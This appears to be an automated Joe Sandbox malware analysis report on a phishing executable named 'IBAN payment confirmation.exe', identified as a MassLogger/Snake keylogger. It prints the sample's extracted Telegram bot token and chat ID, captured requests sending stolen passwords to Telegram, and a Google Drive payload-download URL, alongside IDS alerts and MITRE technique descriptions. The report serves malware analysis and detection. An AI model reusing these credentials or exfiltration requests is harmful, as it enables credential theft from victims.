Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s", "Telegram Chatid": "2065242915"}
Source: IBAN payment confirmation.exe.3824.11.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendMessage"}

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983B4C0 CryptUnprotectData,		11_2_3983B4C0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983BCB8 CryptUnprotectData,		11_2_3983BCB8

Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49903 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49913 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49935 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49926 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1387340d4cc4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13b68e35914eHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd13f0a3b04275Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd141c978a7e02Host: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 0011E959h	11_2_0011E6A8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 0011F082h	11_2_0011EC58
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 0011F082h	11_2_0011EFAF
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983AC65h	11_2_3983A928
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983C8D0h	11_2_3983C628
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983F248h	11_2_3983EFA0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39839A71h	11_2_398397C8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983C478h	11_2_3983C1D0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983F6A0h	11_2_3983F3F8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983D5D8h	11_2_3983D330
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983EDF0h	11_2_3983EB48
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39839619h	11_2_39839370
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983C020h	11_2_3983BD78
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983CD28h	11_2_3983CA80
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983A779h	11_2_3983A4D0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983D180h	11_2_3983CED8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983E998h	11_2_3983E6F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39839EC9h	11_2_39839C20
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983FAF8h	11_2_3983F850
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 3983A321h	11_2_3983A078
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then push 00000000h	11_2_39C998D0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C9630Dh	11_2_39C96130
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C96C97h	11_2_39C96130
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C93C98h	11_2_39C939F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C90B98h	11_2_39C908F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C92B38h	11_2_39C92890
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C94DF8h	11_2_39C94B50
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C91CF8h	11_2_39C91A50
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C90FF0h	11_2_39C90D48
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C92F90h	11_2_39C92CE8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C95250h	11_2_39C94FA8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C92150h	11_2_39C91EA8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C940F0h	11_2_39C93E48
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C91448h	11_2_39C911A0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C933E8h	11_2_39C93140
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C902E8h	11_2_39C90040
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C925AAh	11_2_39C92300
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C94548h	11_2_39C942A0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C918A0h	11_2_39C915F8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C93840h	11_2_39C93598
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C90740h	11_2_39C90498
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	11_2_39C9A6C7
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then jmp 39C949A0h	11_2_39C946F8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_39C9563C
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then push 00000000h	11_2_3A20E710
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then push 00000000h	11_2_3A20F25E
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	11_2_3A20F520

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49862 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49919 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49909 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49841 -> 172.217.19.174:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

